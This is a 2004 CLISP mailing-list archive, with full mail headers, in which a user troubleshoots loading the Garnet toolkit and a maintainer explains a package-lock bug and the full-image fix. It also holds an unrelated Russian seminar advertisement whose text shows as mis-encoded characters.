clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 09:07:24 -0700 Received: from serv09.segi.ulg.ac.be ([139.165.32.78]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFEpG-0002RV-KH for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 09:07:22 -0700 Received: (qmail 30807 invoked by uid 504); 18 Apr 2004 18:07:15 +0200 Received: from a.renard@ulg.ac.be by serv09.segi.ulg.ac.be by uid 501 with qmail-scanner-1.16 (clamscan: 0.60. spamassassin: 2.55. Clear:. Processed in 0.670091 secs); 18 Apr 2004 16:07:15 -0000 Received: from unknown (HELO ulg.ac.be) ([81.240.40.78]) (envelope-sender ) by serv09.segi.ulg.ac.be (qmail-ldap-1.03) with SMTP for ; 18 Apr 2004 18:07:14 +0200 Message-ID: <4082A81F.3010908@ulg.ac.be> From: Andre RENARD User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_ALL_CAPS Subject is all capitals Subject: [clisp-list] HOW TO USE GARNET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 18 09:08:01 2004 X-Original-Date: Sun, 18 Apr 2004 18:09:03 +0200 Is there a good explanation somewhere how to load and use garnet in clisp 2.33 (GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1]) Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program) under suse 9 linux? Got a lot of errors when I followed the directives of the Garnet docs. Thanks Andre From sds@gnu.org Sun Apr 18 11:24:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFGyK-0007O8-S3 for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 11:24:52 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFGyK-00014w-J1 for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 11:24:52 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BFGyI-0005W1-00; Sun, 18 Apr 2004 14:24:50 -0400 To: clisp-list@lists.sourceforge.net, Andre RENARD Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4082A81F.3010908@ulg.ac.be> (Andre RENARD's message of "Sun, 18 Apr 2004 18:09:03 +0200") References: <4082A81F.3010908@ulg.ac.be> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andre RENARD Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: HOW TO USE GARNET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 18 11:25:04 2004 X-Original-Date: Sun, 18 Apr 2004 14:24:49 -0400 > * Andre RENARD [2004-04-18 18:09:03 +0200]: > > Is there a good explanation somewhere how to load and use garnet in > clisp 2.33 (GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1]) > Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program) > under suse 9 linux? I have no problems with garnet. what are your errors? -- Sam Steingold (http://www.podval.org/~sds) running w2k There is Truth, and its value is T. Or just non-NIL. So 0 is True! From a.j.renard@skynet.be Sun Apr 18 17:20:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFMWS-0003cO-Ld for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 17:20:28 -0700 Received: from serv09.segi.ulg.ac.be ([139.165.32.78]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BFMWS-0007re-4K for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 17:20:28 -0700 Received: (qmail 21970 invoked by uid 504); 19 Apr 2004 02:20:20 +0200 Received: from a.j.renard@skynet.be by serv09.segi.ulg.ac.be by uid 501 with qmail-scanner-1.16 (clamscan: 0.60. spamassassin: 2.55. Clear:. Processed in 0.750141 secs); 19 Apr 2004 00:20:20 -0000 Received: from unknown (HELO skynet.be) ([81.240.40.78]) (envelope-sender ) by serv09.segi.ulg.ac.be (qmail-ldap-1.03) with SMTP for ; 19 Apr 2004 02:20:20 +0200 Message-ID: <40831BB2.1080608@skynet.be> From: Andre RENARD User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: HOW TO USE GARNET References: <4082A81F.3010908@ulg.ac.be> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 18 17:22:16 2004 X-Original-Date: Mon, 19 Apr 2004 02:22:10 +0200 I first modify the Your-Garnet-Pathname and Your-CLX-Pathname in garnet-loader.lisp (I use the clx from the locale directory downloaded with garnet). Loading garnet-prepare-compile -> ok then [2]> (load "garnet-loader") ;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ... ** - Continuable Error RENAME-PACKAGE("COMMON-LISP"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed If I remove the lock with (setf (EXT:PACKAGE-LOCK 'COMMON-LISP) nil) (how risky is it? I am relatively new with lisp) then [5]> (load "garnet-loader") ;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ... ** Loading Garnet Version 3.0 from :EXTERNAL ...Loading Garnet ... %%%%%%% Loading CLX %%%%%%%% ;; Loading file /home/andre/clisp-library/local/lib/clisp/clx/clx.lisp ... ** - Continuable Error FUNCTION: undefined function CLOSE-DOWN-MODE-SETTER If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION 'CLOSE-DOWN-MODE-SETTER). USE-VALUE :R2 You may input a value to be used instead of (FDEFINITION 'CLOSE-DOWN-MODE-SETTER). Break 1 XLIB[6]> What do I do wrong? Andre Sam Steingold wrote: >>* Andre RENARD [2004-04-18 18:09:03 +0200]: >> >>Is there a good explanation somewhere how to load and use garnet in >>clisp 2.33 (GNU CLISP 2.33 (2004-03-17) (built on burivuh [127.0.0.1]) >>Software: GNU C 3.3.2 20031022 (Red Hat Linux 3.3.2-1) ANSI C program) >>under suse 9 linux? > > > I have no problems with garnet. > what are your errors? > From sds@gnu.org Sun Apr 18 18:46:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFNry-0007Bv-7Q for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 18:46:46 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BFNrx-00049O-SV; Sun, 18 Apr 2004 18:46:45 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BFNrT-0007AO-00; Sun, 18 Apr 2004 21:46:15 -0400 To: clisp-list@lists.sourceforge.net, Andre RENARD Cc: Cliff Yapp Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <40831BB2.1080608@skynet.be> (Andre RENARD's message of "Mon, 19 Apr 2004 02:22:10 +0200") References: <4082A81F.3010908@ulg.ac.be> <40831BB2.1080608@skynet.be> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andre RENARD , Cliff Yapp Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: HOW TO USE GARNET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 18 18:47:05 2004 X-Original-Date: Sun, 18 Apr 2004 21:46:14 -0400 > * Andre RENARD [2004-04-19 02:22:10 +0200]: > > I first modify the Your-Garnet-Pathname and Your-CLX-Pathname in > garnet-loader.lisp (I use the clx from the locale directory downloaded > with garnet). you should not set Your-CLX-Pathname, instead run the full image which already contains CLX. > [2]> (load "garnet-loader") > ;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ... > ** - Continuable Error > RENAME-PACKAGE("COMMON-LISP"): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed this is a bug in garnet: they have "(defpackage :COMMON-LISP)" which is illegal in ANSI CL. they should have #-:ansi-cl in front of it (instead they have #+(or ....) for some implementations, and this list should include CLISP). > %%%%%%% Loading CLX %%%%%%%% > ;; Loading file > /home/andre/clisp-library/local/lib/clisp/clx/clx.lisp ... this would not happen if you run the full image. -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between theory and practice is that in theory there isn't any. From a.j.renard@skynet.be Sun Apr 18 23:23:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFSBh-0001KV-DL for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 23:23:25 -0700 Received: from serv09.segi.ulg.ac.be ([139.165.32.78]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFSBg-0006DD-St for clisp-list@lists.sourceforge.net; Sun, 18 Apr 2004 23:23:25 -0700 Received: (qmail 5309 invoked by uid 504); 19 Apr 2004 08:23:17 +0200 Received: from a.j.renard@skynet.be by serv09.segi.ulg.ac.be by uid 501 with qmail-scanner-1.16 (clamscan: 0.60. spamassassin: 2.55. Clear:. Processed in 0.665743 secs); 19 Apr 2004 06:23:17 -0000 Received: from unknown (HELO skynet.be) ([139.165.89.142]) (envelope-sender ) by serv09.segi.ulg.ac.be (qmail-ldap-1.03) with SMTP for ; 19 Apr 2004 08:23:16 +0200 Message-ID: <408370C2.7080402@skynet.be> From: Andre RENARD User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4082A81F.3010908@ulg.ac.be> <40831BB2.1080608@skynet.be> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: HOW TO USE GARNET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 18 23:24:13 2004 X-Original-Date: Mon, 19 Apr 2004 08:25:06 +0200 Worked. (by the way, for others start the full image with clisp -K full). But I am still facing an error: ;; Loading file /home/andre/clisp-library/garnetx/src/gilt/gilt-functions-loader.lisp ... ;; Loaded file /home/andre/clisp-library/garnetx/src/gilt/gilt-functions-loader.lisp *** - LOAD: A file with name /home/andre/clisp-library/garnetx/bin/lapidary/constraint-gadget-loader does not exist Where is the mistake in the garnet-loader file? Andre Sam Steingold wrote: >>* Andre RENARD [2004-04-19 02:22:10 +0200]: >> >>I first modify the Your-Garnet-Pathname and Your-CLX-Pathname in >>garnet-loader.lisp (I use the clx from the locale directory downloaded >>with garnet). > > > you should not set Your-CLX-Pathname, instead run the full image which > already contains CLX. > > >>[2]> (load "garnet-loader") >>;; Loading file /home/andre/clisp-library/garnetx/src/garnet-loader.lisp ... >>** - Continuable Error >>RENAME-PACKAGE("COMMON-LISP"): # is locked >>If you continue (by typing 'continue'): Ignore the lock and proceed > > > this is a bug in garnet: they have "(defpackage :COMMON-LISP)" which is > illegal in ANSI CL. > they should have > #-:ansi-cl > in front of it (instead they have #+(or ....) for some implementations, > and this list should include CLISP). > > >> %%%%%%% Loading CLX %%%%%%%% >>;; Loading file >>/home/andre/clisp-library/local/lib/clisp/clx/clx.lisp ... > > this would not happen if you run the full image. > > From virginia@t-online.de Mon Apr 19 07:57:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFaDO-0003JC-0B for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 07:57:42 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BFaDN-0006cd-Um for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 07:57:42 -0700 Received: from 194-208-092-177.tele.net ([194.208.92.177]) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1BFgoW-0001p8-ID for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 15:00:30 -0700 From: aruna To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.6 (/) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Íè äëÿ êîãî íå ñåêðåò, ÷òî óñïåõ ëþáîãî äåëà çàâèñèò îò òîãî, íàñêîëüêî ìîòèâèðîâàíû ñîòðóäíèêè íà åãî âûïîëíåíèå. Ó Âàñ îòëè÷íàÿ êîìàíäà, íî ñîòðóäíèêè íå ãîðÿò æåëàíèåì ðàáîòàòü? Âñå ìîæíî èñïðàâèòü! Êàê ñäåëàòü òàê, ÷òîáû ñîòðóäíèêè ñ ýíòóçèàçìîì ðàáîòàëè, íå òðåáóÿ áåñêîíå÷íûõ ïðèáàâîê ê çàðïëàòå? ×òîáû óñïåõ äåëà îíè ñ÷èòàëè ñâîèì ëè÷íûì óñïåõîì? Êàê âäîõíîâèòü èõ íà íîâûå äîñòèæåíèÿ? Îáî âñåì ýòîì ïîéäåò ðå÷ü íà äâóõäíåâíîì ïðàêòè÷åñêîì ñåìèíàðå-òðåíèíãå: «Ðàçðàáîòêà ñèñòåìû ìîòèâàöèè ïåðñîíàëà» 26-27 àïðåëÿ. [...] Content analysis details: (0.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED Subject: [clisp-list] =?Windows-1251?B?zO7y6OLg9uj/IO/l8PHu7eDr4A==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 07:58:18 2004 X-Original-Date: Mon, 19 Apr 2004 14:49:16 +0000 Íè äëÿ êîãî íå ñåêðåò, ÷òî óñïåõ ëþáîãî äåëà çàâèñèò îò òîãî, íàñêîëüêî ìîòèâèðîâàíû ñîòðóäíèêè íà åãî âûïîëíåíèå. Ó Âàñ îòëè÷íàÿ êîìàíäà, íî ñîòðóäíèêè íå ãîðÿò æåëàíèåì ðàáîòàòü? Âñå ìîæíî èñïðàâèòü! Êàê ñäåëàòü òàê, ÷òîáû ñîòðóäíèêè ñ ýíòóçèàçìîì ðàáîòàëè, íå òðåáóÿ áåñêîíå÷íûõ ïðèáàâîê ê çàðïëàòå? ×òîáû óñïåõ äåëà îíè ñ÷èòàëè ñâîèì ëè÷íûì óñïåõîì? Êàê âäîõíîâèòü èõ íà íîâûå äîñòèæåíèÿ? Îáî âñåì ýòîì ïîéäåò ðå÷ü íà äâóõäíåâíîì ïðàêòè÷åñêîì ñåìèíàðå-òðåíèíãå: «Ðàçðàáîòêà ñèñòåìû ìîòèâàöèè ïåðñîíàëà» 26-27 àïðåëÿ. Ïðîãðàììà ñåìèíàðà-òðåíèíãà: Ìîäóëü I. Êîíöåïöèè ìîòèâàöèè. • Ìåõàíèçì ìîòèâàöèè. • Êëàññè÷åñêèå è ñîâðåìåííûå ïîäõîäû ê ìîòèâàöèè: ðàçëè÷íûå ìîòèâàöèîííûå òåîðèè, èõ àíàëèç è ãðàíèöû ïðèìåíåíèÿ. Ôàêòîðû äåìîòèâàöèè • Îòðàæåíèÿ ðàçëè÷íûõ òåîðèé â èìåþùåìñÿ îïûòå ó÷àñòíèêîâ ïðîãðàììû. Ìîäóëü II. Ïðèíöèïû òðóäîâîé ìîòèâàöèè. 1.Ìîòèâàöèÿ ïåðñîíàëà íà óðîâíå îðãàíèçàöèè. • Ìîòèâàöèîííûå ñòðàòåãèè. •Ñâÿçü ìîòèâàöèè ïåðñîíàëà ñ ñèñòåìîé îöåíêè è ïëàíèðîâàíèÿ ðàçâèòèÿ. • Ìîäåëü ìîòèâàöèîííîé îöåíêè ïåðñîíàëà. • Ïðèìåðû óäà÷íûõ è íåóäà÷íûõ ñèñòåì ìîòèâàöèè. • Ñèñòåìà ìàòåðèàëüíîãî è íåìàòåðèàëüíîãî ñòèìóëèðîâàíèÿ: îãðàíè÷åíèÿ è âîçìîæíîñòè. • Êîðïîðàòèâíàÿ êóëüòóðà: êîðïîðàòèâíûå öåííîñòè è íîðìû êàê ôàêòîðû ìîòèâàöèè. •Ñïåöèôèêà áîëüøèõ è ìàëûõ êîìïàíèé â îáëàñòè ìîòèâàöèè ïåðñîíàëà. • Ïàðàäîêñû ìîòèâàöèè. 2. Ìîòèâàöèÿ îòåëüíîãî ñîòðóäíèêà. «Ïîâñåäíåâíàÿ ìîòèâàöèÿ». • Ñîçäàíèå ìîòèâèðóþùåé ðàáî÷åé ñðåäû. •Ìîòèâàöèÿ ÷åðåç ïîñòàíîâêó çàäà÷ è îðãàíèçàöèþ ñèñòåìû îáðàòíîé ñâÿçè. Ìîäóëü III. ×òî äåëàòü? • Ìåòîäû îöåíêè àêòóàëüíîé ìîòèâàöèîííîé ñðåäû êîìïàíèè («×òî ñåé÷àñ ìîòèâèðóåò è äåìîòèâèðóåò ìîèõ ñîòðóäíèêîâ»). • Øàãè ïîñòðîåíèÿ ñèñòåìû ìîòèâàöèè. • Ïðåìèè. Äîïëàòû. Áîíóñû. Ëüãîòû. Ñîöèàëüíûé ïàêåò: êîãäà è â êàêîì êîëè÷åñòâå. • Îöåíêà ýôôåêòèâíîñòè ñèñòåìû ìîòèâàöèè îðãàíèçàöèè. • Îáñóæäåíèå ðàçëè÷íûõ ïîäõîäîâ íà ïðèìåðàõ ó÷àñòíèêîâ ïðîãðàììû. Ñòîèìîñòü ó÷àñòèÿ â ìàñòåð-êëàññå - 7500 ðóáëåé, ó÷åòîì ÍÄÑ. Ôîðìà îïëàòû ëþáàÿ (íàëè÷íàÿ èëè áåçíàëè÷íàÿ). â ïàêåò óñëóã âõîäèò: ó÷àñòèå â ðàáîòå ãðóïïû, ðàçäàòî÷íûé ìàòåðèàë êîôå-ïàóçà, îáåä. Ìàñòåð-êëàññ ïðîõîäèò â Ìîñêâå (ì. Àêàäåìè÷åñêàÿ). Âðåìÿ ïðîâåäåíèÿ ñ 10 äî 17.30. Ðåãèñòðàöèÿ ó÷àñòíèêîâ îáÿçàòåëüíà. Ïîìèìî ó÷àñòèÿ â ñåìèíàðå ó Âàñ åñòü óíèêàëüíàÿ âîçìîæíîñòü ïðèîáðåñòè âèäåîçàïèñü ìåðîïðèÿòèÿ (Íà CD,DVD èëè âèäåîêàññåòàõ). Ê âèäåîìàòåðèàëàì ïðèëàãàåòñÿ èíôîðìàöèîííûå ìàòåðèàëû ïîäãîòîâëåííûå àâòîðîì. Ñòîèìîñòü âèäåîìàòåðèàëîâ– 4500 ðóá. â ò.÷. ÍÄÑ Ïðè ó÷àñòèè â ìàñòåð-êëàññå èëè ïîêóïêå âèäåîìàòåðèàëîâ îôîðìëÿåòñÿ ïîëíûé ïàêåò áóõãàëòåðñêèõ äîêóìåíòîâ. Ïðåäëàãàåì âèäåîçàïèñè äðóãèõ ñåìèíàðîâ ïî òåìàì: 1. Îöåíêà è ïîäáîð ïåðñîíàëà â îðãàíèçàöèè. 2. Òèïû ëþäåé â áèçíåñå (îöåíêà ïîâåäåíèÿ Âàøèõ ïàðòíåðîâ è êîëëåã) 3. Õèòðîñòè åæåäíåâíîãî ðóêîâîäñòâà. Êîíòàêòíûå òåëåôîíû (095) 207-26-21 è (095) 789-81-90 From sds@gnu.org Mon Apr 19 09:10:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFbM7-0004en-Sz for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 09:10:47 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFbM7-0006hB-F4 for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 09:10:47 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3JGAdld017428; Mon, 19 Apr 2004 12:10:39 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Andre RENARD Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <408370C2.7080402@skynet.be> (Andre RENARD's message of "Mon, 19 Apr 2004 08:25:06 +0200") References: <4082A81F.3010908@ulg.ac.be> <40831BB2.1080608@skynet.be> <408370C2.7080402@skynet.be> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andre RENARD Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: HOW TO USE GARNET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 09:11:06 2004 X-Original-Date: Mon, 19 Apr 2004 12:10:39 -0400 I just fixed the garnet cvs on SF. it now works for me OOTB. -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between theory and practice is that in theory there isn't any. From sds@gnu.org Mon Apr 19 09:39:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFbo3-0004QO-6l for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 09:39:39 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFbo2-0004OF-Rw for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 09:39:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3JGdUld024135; Mon, 19 Apr 2004 12:39:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <83brn1sy0c.fsf@torus.sehlabs.com> (Steven E. Harris's message of "Fri, 12 Mar 2004 10:47:47 -0800") References: <83brn1sy0c.fsf@torus.sehlabs.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Pretty printing and with-standard-io-syntax interaction Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 09:40:27 2004 X-Original-Date: Mon, 19 Apr 2004 12:39:30 -0400 > * Steven E. Harris [2004-03-12 10:47:47 -0800]: > > ,----[ "2.32 (2003-12-29) (built on winsteingoldlap [10.0.19.22])" ] > | [1]> (with-standard-io-syntax > | (let ((*print-pretty* t)) > | (pprint-linear nil (list 'a 'b 'c)))) > | > | *** - PRINT: the value of SYSTEM::*PRINT-CIRCLE-TABLE* has been arbitrarily altered > | *** - UNIX error 13. (EACCES): Permission denied > | Break 1. [ 2]> > `---- Thanks - this has been fixed in the CVS. Unfortunately, it was too late to include the fix in 2.33, but it will be available in 2.34. -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From seharris@raytheon.com Mon Apr 19 10:15:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFcND-0006ES-3P for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 10:15:59 -0700 Received: from dfw-gate1.raytheon.com ([199.46.199.230]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFcNC-0003lH-Ox for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 10:15:58 -0700 Received: from ds02t00.directory.ray.com (ds02t00.directory.ray.com [147.25.154.117]) by dfw-gate1.raytheon.com (8.12.10/8.12.10) with ESMTP id i3JHFtE6004621 for ; Mon, 19 Apr 2004 12:15:55 -0500 (CDT) Received: from ds02t00.directory.ray.com (localhost [127.0.0.1]) by ds02t00.directory.ray.com (8.12.10/8.12.1) with ESMTP id i3JHFjws020071 for ; Mon, 19 Apr 2004 17:15:54 GMT Received: Received: from L75001820.sdo.us.ray.com (unk-192-27-58-82.sdo.us.ray.com 